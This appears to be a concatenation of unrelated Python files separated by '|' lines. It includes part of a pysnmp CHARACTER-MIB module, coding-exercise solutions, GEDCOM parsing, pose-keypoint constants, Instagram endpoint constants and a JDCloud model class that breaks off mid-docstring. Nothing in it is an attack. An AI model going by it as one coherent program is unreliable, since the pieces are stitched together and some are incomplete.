if mibBuilder.loadTexts: charPortOutFlowType.setDescription("The port's type of output flow control. 'none'\n indicates no flow control at this level or below.\n 'xonXoff' indicates software flow control by\n recognizing XON and XOFF characters. 'hardware'\n indicates flow control delegated to the lower level,\n for example a parallel port.\n\n 'ctsRts' and 'dsrDtr' are specific to RS-232-like\n ports. Although not architecturally pure, they are\n included here for simplicy's sake.")
charPortInFlowState = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 11), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4,))).clone(namedValues=NamedValues(("none", 1), ("unknown", 2), ("stop", 3), ("go", 4),))).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortInFlowState.setDescription("The current operational state of input flow control\n on the port. 'none' indicates not applicable.\n 'unknown' indicates this level does not know.\n 'stop' indicates flow not allowed. 'go' indicates\n flow allowed.")
charPortOutFlowState = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4,))).clone(namedValues=NamedValues(("none", 1), ("unknown", 2), ("stop", 3), ("go", 4),))).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortOutFlowState.setDescription("The current operational state of output flow\n control on the port. 'none' indicates not\n applicable. 'unknown' indicates this level does not\n know. 'stop' indicates flow not allowed. 'go'\n indicates flow allowed.")
charPortInCharacters = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 13), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortInCharacters.setDescription("Total number of characters detected as input from\n the port since system re-initialization and while\n the port operational state was 'up', 'active', or\n 'maintenance', including, for example, framing, flow\n control (i.e. XON and XOFF), each occurrence of a\n BREAK condition, locally-processed input, and input\n sent to all sessions.")
charPortOutCharacters = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 14), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortOutCharacters.setDescription("Total number of characters detected as output to\n the port since system re-initialization and while\n the port operational state was 'up', 'active', or\n 'maintenance', including, for example, framing, flow\n control (i.e. XON and XOFF), each occurrence of a\n BREAK condition, locally-created output, and output\n received from all sessions.")
charPortAdminOrigin = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 15), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4,))).clone(namedValues=NamedValues(("dynamic", 1), ("network", 2), ("local", 3), ("none", 4),))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: charPortAdminOrigin.setDescription("The administratively allowed origin for\n establishing session on the port. 'dynamic' allows\n 'network' or 'local' session establishment. 'none'\n disallows session establishment.")
charPortSessionMaximum = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 16), Integer32().subtype(subtypeSpec=ValueRangeConstraint(-1,2147483647))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: charPortSessionMaximum.setDescription('The maximum number of concurrent sessions allowed\n on the port. A value of -1 indicates no maximum.\n Setting the maximum to less than the current number\n of sessions has unspecified results.')
charPortSessionNumber = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 17), Gauge32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortSessionNumber.setDescription('The number of open sessions on the port that are in\n the connecting, connected, or disconnecting state.')
charPortSessionIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 18), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0,2147483647))).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortSessionIndex.setDescription("The value of charSessIndex for the port's first or\n only active session. If the port has no active\n session, the agent returns the value zero.")
charPortInFlowTypes = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 19), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1,1)).setFixedLength(1)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: charPortInFlowTypes.setDescription("The port's types of input flow control at the\n software level. Hardware-level flow control is\n independently controlled by the appropriate\n hardware-level MIB.\n\n A value of zero indicates no flow control.\n Depending on the specific implementation, any or\n all combinations of flow control may be chosen by\n adding the values:\n\n 128 xonXoff, recognizing XON and XOFF characters\n 64 enqHost, ENQ/ACK to allow input to host\n 32 enqTerm, ACK to allow output to port\n ")
charPortOutFlowTypes = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 20), OctetString().subtype(subtypeSpec=ValueSizeConstraint(1,1)).setFixedLength(1)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: charPortOutFlowTypes.setDescription("The port's types of output flow control at the\n software level. Hardware-level flow control is\n independently controlled by the appropriate\n hardware-level MIB.\n\n A value of zero indicates no flow control.\n Depending on the specific implementation, any or\n all combinations of flow control may be chosen by\n adding the values:\n\n 128 xonXoff, recognizing XON and XOFF characters\n 64 enqHost, ENQ/ACK to allow input to host\n 32 enqTerm, ACK to allow output to port\n ")
charPortLowerIfIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 2, 1, 21), InterfaceIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charPortLowerIfIndex.setDescription('The ifIndex value of the lower level hardware supporting\n this character port, zero if none.')
charSessTable = MibTable((1, 3, 6, 1, 2, 1, 19, 3), )
if mibBuilder.loadTexts: charSessTable.setDescription('A list of port session entries.')
charSessEntry = MibTableRow((1, 3, 6, 1, 2, 1, 19, 3, 1), ).setIndexNames((0, "CHARACTER-MIB", "charSessPortIndex"), (0, "CHARACTER-MIB", "charSessIndex"))
if mibBuilder.loadTexts: charSessEntry.setDescription('Status and parameter values for a character port\n session.')
charSessPortIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 3, 1, 1), PortIndex()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charSessPortIndex.setDescription('The value of charPortIndex for the port to which\n this session belongs.')
charSessIndex = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 3, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1,2147483647))).setMaxAccess("readonly")
if mibBuilder.loadTexts: charSessIndex.setDescription('The session index in the context of the port, a\n non-zero positive integer. Session indexes within a\n port need not be sequential. Session indexes may be\n reused for different ports. For example, port 1 and\n port 3 may both have a session 2 at the same time.\n Session indexes may have any valid integer value,\n with any meaning convenient to the agent\n implementation.')
charSessKill = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 3, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2,))).clone(namedValues=NamedValues(("ready", 1), ("execute", 2),))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: charSessKill.setDescription("A control to terminate the session. In response to\n a get-request or get-next-request, the agent always\n returns 'ready' as the value. Setting the value to\n 'execute' causes termination.")
charSessState = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 3, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3,))).clone(namedValues=NamedValues(("connecting", 1), ("connected", 2), ("disconnecting", 3),))).setMaxAccess("readonly")
if mibBuilder.loadTexts: charSessState.setDescription("The current operational state of the session,\n disregarding flow control. 'connected' indicates\n that character data could flow on the network side\n of session. 'connecting' indicates moving from\n nonexistent toward 'connected'. 'disconnecting'\n indicates moving from 'connected' or 'connecting' to\n nonexistent.")
charSessProtocol = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 3, 1, 5), AutonomousType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charSessProtocol.setDescription('The network protocol over which the session is\n running. Other OBJECT IDENTIFIER values may be\n defined elsewhere, in association with specific\n protocols. However, this document assigns those of\n known interest as of this writing.')
wellKnownProtocols = MibIdentifier((1, 3, 6, 1, 2, 1, 19, 4))
protocolOther = MibIdentifier((1, 3, 6, 1, 2, 1, 19, 4, 1))
protocolTelnet = MibIdentifier((1, 3, 6, 1, 2, 1, 19, 4, 2))
protocolRlogin = MibIdentifier((1, 3, 6, 1, 2, 1, 19, 4, 3))
protocolLat = MibIdentifier((1, 3, 6, 1, 2, 1, 19, 4, 4))
protocolX29 = MibIdentifier((1, 3, 6, 1, 2, 1, 19, 4, 5))
protocolVtp = MibIdentifier((1, 3, 6, 1, 2, 1, 19, 4, 6))
charSessOperOrigin = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 3, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3,))).clone(namedValues=NamedValues(("unknown", 1), ("network", 2), ("local", 3),))).setMaxAccess("readonly")
if mibBuilder.loadTexts: charSessOperOrigin.setDescription("The session's source of establishment.")
charSessInCharacters = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 3, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charSessInCharacters.setDescription("This session's subset of charPortInCharacters.")
charSessOutCharacters = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 3, 1, 8), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charSessOutCharacters.setDescription("This session's subset of charPortOutCharacters.")
charSessConnectionId = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 3, 1, 9), InstancePointer()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charSessConnectionId.setDescription('A reference to additional local MIB information.\n This should be the highest available related MIB,\n corresponding to charSessProtocol, such as Telnet.\n For example, the value for a TCP connection (in the\n absence of a Telnet MIB) is the object identifier of\n tcpConnState. If an agent is not configured to have\n such values, the agent returns the object\n identifier:\n\n nullConnectionId OBJECT IDENTIFIER ::= { 0 0 }\n ')
charSessStartTime = MibTableColumn((1, 3, 6, 1, 2, 1, 19, 3, 1, 10), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: charSessStartTime.setDescription('The value of sysUpTime in MIB-2 when the session\n entered connecting state.')
charConformance = MibIdentifier((1, 3, 6, 1, 2, 1, 19, 5))
charGroups = MibIdentifier((1, 3, 6, 1, 2, 1, 19, 5, 1))
charCompliances = MibIdentifier((1, 3, 6, 1, 2, 1, 19, 5, 2))
charCompliance = ModuleCompliance((1, 3, 6, 1, 2, 1, 19, 5, 2, 1)).setObjects(*(("CHARACTER-MIB", "charGroup"),))
if mibBuilder.loadTexts: charCompliance.setDescription('The compliance statement for SNMPv2 entities\n which have Character hardware interfaces.')
charGroup = ObjectGroup((1, 3, 6, 1, 2, 1, 19, 5, 1, 1)).setObjects(*(("CHARACTER-MIB", "charNumber"), ("CHARACTER-MIB", "charPortIndex"), ("CHARACTER-MIB", "charPortName"), ("CHARACTER-MIB", "charPortType"), ("CHARACTER-MIB", "charPortHardware"), ("CHARACTER-MIB", "charPortReset"), ("CHARACTER-MIB", "charPortAdminStatus"), ("CHARACTER-MIB", "charPortOperStatus"), ("CHARACTER-MIB", "charPortLastChange"), ("CHARACTER-MIB", "charPortInFlowState"), ("CHARACTER-MIB", "charPortOutFlowState"), ("CHARACTER-MIB", "charPortAdminOrigin"), ("CHARACTER-MIB", "charPortSessionMaximum"), ("CHARACTER-MIB", "charPortInFlowTypes"), ("CHARACTER-MIB", "charPortOutFlowTypes"), ("CHARACTER-MIB", "charPortInCharacters"), ("CHARACTER-MIB", "charPortOutCharacters"), ("CHARACTER-MIB", "charPortSessionNumber"), ("CHARACTER-MIB", "charPortSessionIndex"), ("CHARACTER-MIB", "charPortLowerIfIndex"), ("CHARACTER-MIB", "charSessPortIndex"), ("CHARACTER-MIB", "charSessIndex"), ("CHARACTER-MIB", "charSessKill"), ("CHARACTER-MIB", "charSessState"), ("CHARACTER-MIB", "charSessProtocol"), ("CHARACTER-MIB", "charSessOperOrigin"), ("CHARACTER-MIB", "charSessInCharacters"), ("CHARACTER-MIB", "charSessOutCharacters"), ("CHARACTER-MIB", "charSessConnectionId"), ("CHARACTER-MIB", "charSessStartTime"),))
if mibBuilder.loadTexts: charGroup.setDescription('A collection of objects providing information\n applicable to all Character interfaces.')
mibBuilder.exportSymbols("CHARACTER-MIB", protocolOther=protocolOther, charPortAdminOrigin=charPortAdminOrigin, charPortSessionMaximum=charPortSessionMaximum, charSessIndex=charSessIndex, charSessInCharacters=charSessInCharacters, charPortAdminStatus=charPortAdminStatus, charSessEntry=charSessEntry, charNumber=charNumber, charPortType=charPortType, charSessKill=charSessKill, protocolRlogin=protocolRlogin, charCompliance=charCompliance, charPortInCharacters=charPortInCharacters, charPortLowerIfIndex=charPortLowerIfIndex, charPortOutFlowState=charPortOutFlowState, charConformance=charConformance, charSessConnectionId=charSessConnectionId, charPortOutCharacters=charPortOutCharacters, charSessStartTime=charSessStartTime, charSessOutCharacters=charSessOutCharacters, wellKnownProtocols=wellKnownProtocols, charPortIndex=charPortIndex, charPortReset=charPortReset, charPortInFlowType=charPortInFlowType, charPortHardware=charPortHardware, protocolLat=protocolLat, charPortLastChange=charPortLastChange, charPortSessionIndex=charPortSessionIndex, protocolVtp=protocolVtp, charSessTable=charSessTable, charSessProtocol=charSessProtocol, charSessOperOrigin=charSessOperOrigin, charPortOutFlowTypes=charPortOutFlowTypes, protocolTelnet=protocolTelnet, charPortOutFlowType=charPortOutFlowType, charPortTable=charPortTable, charPortInFlowState=charPortInFlowState, charSessPortIndex=charSessPortIndex, PortIndex=PortIndex, charPortSessionNumber=charPortSessionNumber, charCompliances=charCompliances, PYSNMP_MODULE_ID=char, charGroups=charGroups, charPortEntry=charPortEntry, charPortInFlowTypes=charPortInFlowTypes, charPortOperStatus=charPortOperStatus, charGroup=charGroup, charPortName=charPortName, charSessState=charSessState, char=char, protocolX29=protocolX29)
|
class Regularcombo():
"""docstring for ."""
def __init__(self, burger = ["big_mac"], snack = ["fries"], drink = ["coca"]):
try:
assert type(burger) == list
except AssertionError:
print('Please enter initial burger as list then custom')
else:
self.burger = burger
try:
assert type(snack) == list
except AssertionError:
print('Please enter initial snack as list then custom')
else:
self.snack = snack
try:
assert type(drink) == list
except AssertionError:
print('Please enter initial drink as list then custom')
else:
self.drink = drink
self.total = 0
def burger_custom(self, extra):
self.burger.append(extra)
def snack_custom(self, extra):
self.snack.append(extra)
def drink_custom(self, extra):
try:
assert type(extra) == str
except:
return "Your custom value is not valid"
try:
if len(self.drink) > 3:
raise DrinkcustomError()
except DrinkcustomError:
return "Your drink is too complex, please re-custom"
else:
self.drink.append(extra)
def display(self):
#print("burger:{},snack:{},drink:{}".format(self.burger, self.snack, self.drink))
return '{} {} {}'.format(self.burger, self.snack, self.drink)
def total_price(self):
self.total = (len(self.burger)*4.99 + len(self.snack)*2.99 + 1.99)*1.15
#print("total price is:{} CAD(Tax included)".format(self.total))
return round(self.total,2)
class DrinkcustomError(Exception):
pass
|
def write_results(results, save_path):
output = []
for k, v in results.items():
output.append("{}: {}".format(k, v))
output.append("\n")
output.append("If you need to access these results for the future "
"they are stored in: {}".format(save_path))
with open(save_path, 'w') as fp:
fp.write("\n".join(output))
return "\n".join(output)
|
houses = {"Harry": "Gryffindor", "Draco": "Slytherin"}
houses["Hermione"] = "Gryffindor"
print(houses["Harry"])
|
# 在二维平面上,有一个机器人从原点 (0, 0) 开始。给出它的移动顺序,判断这个机器人在完成移动后是否在 (0, 0) 处结束。
#
# 移动顺序由字符串表示。字符 move[i] 表示其第 i 次移动。机器人的有效动作有 R(右),L(左),U(上)和 D(下)。如果机器人在完成所有动作后返回原点,则返回 true。否则,返回 false。
#
# 注意:机器人“面朝”的方向无关紧要。 “R” 将始终使机器人向右移动一次,“L” 将始终向左移动等。此外,假设每次移动机器人的移动幅度相同。
#
#
#
# 示例 1:
#
# 输入: "UD"
# 输出: true
# 解释:机器人向上移动一次,然后向下移动一次。所有动作都具有相同的幅度,因此它最终回到它开始的原点。因此,我们返回 true。
# 示例 2:
#
# 输入: "LL"
# 输出: false
# 解释:机器人向左移动两次。它最终位于原点的左侧,距原点有两次 “移动” 的距离。我们返回 false,因为它在移动结束时没有返回原点。
#
# 来源:力扣(LeetCode)
# 链接:https://leetcode-cn.com/problems/robot-return-to-origin
# 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。
# class Solution:
# def judgeCircle(self, moves: str) -> bool:
# origin = (0, 0)
# directions = {"U": (0, 1), "D": (0, -1), "L": (-1, 0), "R": (1, 0)}
# for step in moves:
# (x, y) = directions[step]
# origin = (origin[0] + x, origin[1] + y)
# return origin == (0, 0)
class Solution:
def judgeCircle(self, moves: str) -> bool:
return moves.count('U') == moves.count('D') and moves.count('L') == moves.count('R')
if __name__ == '__main__':
s = Solution()
print(s.judgeCircle("RRDD")) |
# class ListNode:
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution:
def oddEvenList(self, head):
if not head:
return None
i = 0
tmp = head
first = True
prev = None
tmp_even_head = None
tail = None
while tmp:
if i % 2 != 0:
if first:
second_list = ListNode(tmp.val)
tmp_even_head = second_list
second_list.next = None
first = False
else:
second_list.next = ListNode(tmp.val)
second_list = second_list.next
second_list.next = None
if tmp and tmp.next:
prev.next = tmp.next
else:
tail = tmp
prev = tmp
tmp = tmp.next
i += 1
if tmp_even_head:
tail.next = tmp_even_head
return head
|
def lineup_students(string):
return sorted(string.split(), key=lambda x: (len(x), x), reverse=True)
# lineup_students = lambda s: sorted(s.split(), key=lambda x: (len(x), x), reverse=True)
|
'''Escolha um programa que leia um número inteiro qualquer e peça para o usuário escolher qual será a base de conversão
-1 para binário
-2 para octal
-3 para hexadecimal'''
num = int(input('Digite um número inteiro: '))
print('''Escolha uma das bases de conversão
[1]Converter para binário
[2]Converter para octal
[3]Converter para hexadecimal''')
opção = int(input('escolha: '))
if opção == 1:
print(f'{num} convertido para binário é: {bin(num)[2:]}')
elif opção == 2:
print(f'{num} convertido para octal é: {oct(num)[2:]}')
elif opção == 3:
print(f'{num} convertido para hexadecimal é: {hex(num)[2:]}')
else:
print('Opção invalida') |
# Accept a positive integer and print the reverse of it.
n = int(input("Enter a positive integer: ")) # | n = 123
print()
rev = 0 # | rev = 0
while n > 0: # | 123 > 0 = True | 12 > 0 = True | 1 > 0 = True |
digit = n % 10 # extract the last digit # | digit = 123 % 10 = 3 | digit = 12 % 10 = 2 | digit = 1 % 10 = 1 |
rev = rev * 10 + digit # ?? # | rev = 0 * 10 + 3 = 3 | rev = 3 * 10 + 2 = 32 | rev = 32 * 10 + 1 = 321 |
n = n // 10 # remove the last digit # | n = 123 // 10 = 12 | n = 12 // 10 = 1 | n = 1 // 10 = 0 |
print("The reverse of the number is:", rev)
|
def parse_plotter_args(parser):
parser.add_option(
"--name_of_3dmodel",
type="string",
default="airplane/airplane_0630.ply",
help="name of 3D model to plot using the 'plot_subclouds' script",
)
parser.add_option(
"--save_plot_frames",
action="store_true",
default=False,
help="whether to record the 3D model shown in 'plot_subclouds' script",
)
parser.add_option(
"--plotted_image_folder",
type="string",
default="./gif_images",
help="folder to store the images created if save_plot_frames=True",
)
return parser
|
PART_NAMES = [
"nose", "leftEye", "rightEye", "leftEar", "rightEar", "leftShoulder",
"rightShoulder", "leftElbow", "rightElbow", "leftWrist", "rightWrist",
"leftHip", "rightHip", "leftKnee", "rightKnee", "leftAnkle", "rightAnkle"
]
NUM_KEYPOINTS = len(PART_NAMES)
PART_IDS = {pn: pid for pid, pn in enumerate(PART_NAMES)}
CONNECTED_PART_NAMES = [
("leftHip", "leftShoulder"), ("leftElbow", "leftShoulder"),
("leftElbow", "leftWrist"), ("leftHip", "leftKnee"),
("leftKnee", "leftAnkle"), ("rightHip", "rightShoulder"),
("rightElbow", "rightShoulder"), ("rightElbow", "rightWrist"),
("rightHip", "rightKnee"), ("rightKnee", "rightAnkle"),
("leftShoulder", "rightShoulder"), ("leftHip", "rightHip")
]
CONNECTED_PART_INDICES = [(PART_IDS[a], PART_IDS[b]) for a, b in CONNECTED_PART_NAMES]
LOCAL_MAXIMUM_RADIUS = 1
POSE_CHAIN = [
("nose", "leftEye"), ("leftEye", "leftEar"), ("nose", "rightEye"),
("rightEye", "rightEar"), ("nose", "leftShoulder"),
("leftShoulder", "leftElbow"), ("leftElbow", "leftWrist"),
("leftShoulder", "leftHip"), ("leftHip", "leftKnee"),
("leftKnee", "leftAnkle"), ("nose", "rightShoulder"),
("rightShoulder", "rightElbow"), ("rightElbow", "rightWrist"),
("rightShoulder", "rightHip"), ("rightHip", "rightKnee"),
("rightKnee", "rightAnkle")
]
MOVABLE_PART = [
[("rightShoulder", "rightElbow"), ("rightElbow", "rightWrist")],
[("leftShoulder", "leftElbow"), ("leftElbow", "leftWrist")],
[("rightElbow", "rightShoulder"), ("rightShoulder", "rightHip")],
[("leftElbow", "leftShoulder"), ("leftShoulder", "leftHip")],
[("leftHip", "leftKnee"), ("leftKnee", "leftAnkle")],
[("rightHip", "rightKnee"), ("rightKnee", "rightAnkle")]
]
PIVOT_POINT = [
"rightElbow", "leftElbow", "rightShoulder", "leftShoulder", "leftKnee", "rightKnee"
]
PARENT_CHILD_TUPLES = [(PART_IDS[parent], PART_IDS[child]) for parent, child in POSE_CHAIN]
PART_CHANNELS = [
'left_face',
'right_face',
'right_upper_leg_front',
'right_lower_leg_back',
'right_upper_leg_back',
'left_lower_leg_front',
'left_upper_leg_front',
'left_upper_leg_back',
'left_lower_leg_back',
'right_feet',
'right_lower_leg_front',
'left_feet',
'torso_front',
'torso_back',
'right_upper_arm_front',
'right_upper_arm_back',
'right_lower_arm_back',
'left_lower_arm_front',
'left_upper_arm_front',
'left_upper_arm_back',
'left_lower_arm_back',
'right_hand',
'right_lower_arm_front',
'left_hand'
] |
to_remove = input()
word = input()
while to_remove in word:
word = word.replace(to_remove, '')
print(word)
|
BASE_URL = 'https://www.instagram.com/'
LOGIN_URL = BASE_URL + 'accounts/login/ajax/'
LOGOUT_URL = BASE_URL + 'accounts/logout/'
MEDIA_URL = BASE_URL + '{0}/media'
CHROME_WIN_UA = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36'
STORIES_URL = 'https://i.instagram.com/api/v1/feed/user/{0}/reel_media/'
STORIES_UA = 'Instagram 9.5.2 (iPhone7,2; iPhone OS 9_3_3; en_US; en-US; scale=2.00; 750x1334) AppleWebKit/420+'
STORIES_COOKIE = 'ds_user_id={0}; sessionid={1};'
TAGS_URL = BASE_URL + 'explore/tags/{0}/?__a=1'
LOCATIONS_URL = BASE_URL + 'explore/locations/{0}/?__a=1'
VIEW_MEDIA_URL = BASE_URL + 'p/{0}/?__a=1'
SEARCH_URL = BASE_URL + 'web/search/topsearch/?context=blended&query={0}'
QUERY_COMMENTS = BASE_URL + 'graphql/query/?query_id=17852405266163336&shortcode={0}&first=100&after={1}'
QUERY_HASHTAG = BASE_URL + 'graphql/query/?query_id=17882293912014529&tag_name={0}&first=100&after={1}'
QUERY_LOCATION = BASE_URL + 'graphql/query/?query_id=17881432870018455&id={0}&first=100&after={1}'
|
if __name__ == '__main__':
name = ' aleX'
print(name.strip())
# name = name.strip()
if name.startswith('al'):
print('yes')
if name.endswith('X'):
print('yes')
print(name.replace('l', 'p'))
# name = name.replace('l', 'p')
print(name.split('l'))
print(type(name.split('e')))
print(name.upper())
print(name.lower())
print(name[2])
print(name[:3])
print(name[3:])
print(name.index('e'))
print(name[:len(name) - 1])
|
'''
Created on 16.1.2017
@author: jm
'''
class GedcomLine(object):
'''
Gedcom line container, which can also carry the lower level gedcom lines.
Example
- level 2
- tag 'GIVN'
- value 'Johan' ...}
'''
# Current path elemements
# See https://docs.python.org/3/faq/programming.html#how-do-i-create-static-class-data-and-static-class-methods
path_elem = []
def __init__(self, line, linenum=0):
'''
Constructor: Parses and stores a gedcom line
Different constructors:
GedcomLine("1 GIVN Ville")
GedcomLine("1 GIVN Ville", 20)
GedcomLine((1, "GIVN", "Ville"))
GedcomLine((1, "GIVN", "Ville"), 20)
'''
self.path = ""
self.attributes = {}
self.linenum = linenum
if type(line) == str:
# Parse line
tkns = line.split(None,2)
self.line = line
else:
tkns = tuple(line)
self.level = int(tkns[0])
self.tag = tkns[1]
if len(tkns) > 2:
self.value = tkns[2]
else:
self.value = ""
self.line = str(self)
self.set_path(self.level, self.tag)
def __str__(self):
''' Get the original line '''
try:
ret = "{} {} {}".format(self.level, self.tag, self.value).rstrip()
except:
ret = "* Not complete *"
return ret
def set_path(self, level, tag):
''' Update self.path with given tag and level '''
if level > len(GedcomLine.path_elem):
raise RuntimeError("{} Invalid level {}: {}".format(self.path, level, self.line))
if level == len(GedcomLine.path_elem):
GedcomLine.path_elem.append(tag)
else:
GedcomLine.path_elem[level] = tag
GedcomLine.path_elem = GedcomLine.path_elem[:self.level+1]
self.path = ".".join(GedcomLine.path_elem)
return self.path
def set_attr(self, key, value):
''' Optional attributes like name TYPE as a tuple {'TYPE':'marriage'} '''
self.attributes[key] = value
def get_attr(self, key):
''' Get optional attribute value '''
if key in self.attributes:
return self.attributes[key]
return None
def get_year(self):
'''If value has a four digit last part, the numeric value of it is returned
'''
p = self.value.split()
try:
if len(p) > 0 and len(p[-1]) == 4:
return int(p[-1])
except:
return None
def emit(self, f):
# Print out current line to file f
f.emit(str(self))
|
'''input
1
1 1 0 1 0 0 0 1 0 1
3 4 5 6 7 8 9 -2 -3 4 -2
8
3
1 1 1 1 1 1 0 0 1 1
0 1 0 1 1 1 1 0 1 0
1 0 1 1 0 1 0 1 0 1
-8 6 -2 -8 -8 4 8 7 -6 2 2
-9 2 0 1 7 -5 0 -2 -6 5 5
6 -6 7 -9 6 -5 8 0 -9 -7 -7
23
2
1 1 1 1 1 0 0 0 0 0
0 0 0 0 0 1 1 1 1 1
3 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1
0 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1
1
2
1 1 1 1 1 0 0 0 0 0
0 0 0 0 0 1 1 1 1 1
0 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1
3 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1
1
2
1 1 1 1 1 0 0 0 0 0
0 0 0 0 0 1 1 1 1 1
0 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1
0 -2 -2 -2 -2 -2 -1 -1 -1 -1 -1
-2
'''
# -*- coding: utf-8 -*-
# AtCoder Beginner Contest
# Problem C
# FIXME: More smarter.
def calc_benefit(my_schedule, others_schedule, benefit_table, answer):
score = 0
if sum(my_schedule) == 0:
return benefit_total
for index, other_schedule in enumerate(others_schedule):
count = 0
for mine, other in zip(my_schedule, other_schedule):
if mine == other == 1:
count += 1
score += benefit_table[index][count]
return max(score, benefit_total)
# FIXME: More smarter.
def dfs(my_schedule, others_schedule, benefit_table, benefit_total, pos):
if pos == 10:
return calc_benefit(my_schedule, others_schedule, benefit_table, benefit_total)
my_schedule[pos] = 0
foo = dfs(my_schedule, others_schedule, benefit_table, benefit_total, pos + 1)
my_schedule[pos] = 1
bar = dfs(my_schedule, others_schedule, benefit_table, benefit_total, pos + 1)
return max(foo, bar)
if __name__ == '__main__':
shop_count = int(input())
others_schedule = [list(map(int, input().split())) for _ in range(shop_count)]
benefit_table = [list(map(int, input().split())) for _ in range(shop_count)]
benefit_total = -1000000000
my_schedule = [None] * (10)
# See: https://www.youtube.com/watch?v=GWhYUxeDe70
benefit_total = dfs(my_schedule, others_schedule, benefit_table, benefit_total, 0)
print(benefit_total)
|
filename = 'programming_poll.txt'
responses = []
while True:
response = input("\nWhy do you like programming? ")
responses.append(response)
continue_poll = input("Would you like to let someone else respond? (y/n) ")
if continue_poll != 'y':
break
with open(filename, 'a') as f:
for response in responses:
f.write(response + "\n") |
'''
Created on Oct 13, 2017
@author: LSX1KOR
'''
"""
In the multiple inheritance scenario, any specified attribute is searched first in the current class.
If not found, the search continues into parent classes in depth-first,
left-right fashion without searching same class twice.
"""
class Base1(object):
def foo(self):
print("BASE1")
class Base2(object):
def foo(self):
print('BASE2')
class Derived(Base2,Base1):
pass
d=Derived()
d.foo()
#__mro__=Method Resolution Orde
#It will tell you how the search order will be
print(Derived.__mro__)
#o/p=(<class '__main__.Derived'>, <class '__main__.Base2'>, <class '__main__.Base1'>, <class 'object'>)
#so it will look first into current class then left i.e, Base2 then Base1 then object class
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = "Louis Richard"
__email__ = "louisr@irfu.se"
__copyright__ = "Copyright 2020-2021"
__license__ = "MIT"
__version__ = "2.3.7"
__status__ = "Prototype"
def iso86012datetime64(time):
r"""Convert ISO8601 time format to datetime64 in ns units.
Parameters
----------
time : ndarray
Time in ISO 8601 format
Returns
-------
time_datetime64 : ndarray
Time in datetime64 in ns units.
See Also
--------
pyrfu.pyrf.datetime642iso8601
"""
time_datetime64 = time.astype("<M8[ns]")
return time_datetime64
|
class PropertyMapperException(Exception):
pass
class UnsupportedType(PropertyMapperException):
pass
class WrongType(PropertyMapperException):
pass
class OverrideForbidden(PropertyMapperException):
pass
class ValidationError(Exception):
"""
Ошибка при заполнении данных маппера.
Либо присутствуют неизвестные параметры,
либо не заполнены все известные.
"""
pass
|
# coding=utf8
# Copyright 2018 JDCLOUD.COM
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# NOTE: This class is auto generated by the jdcloud code generator program.
class SslCertModel(object):
def __init__(self, certId=None, certName=None, commonName=None, certType=None, startTime=None, endTime=None, deletable=None, digest=None, aliasName=None, dnsNames=None, downloadable=None):
"""
:param certId: (Optional) 证书Id
:param certName: (Optional) 证书名称
:param commonName: (Optional) 绑定域名
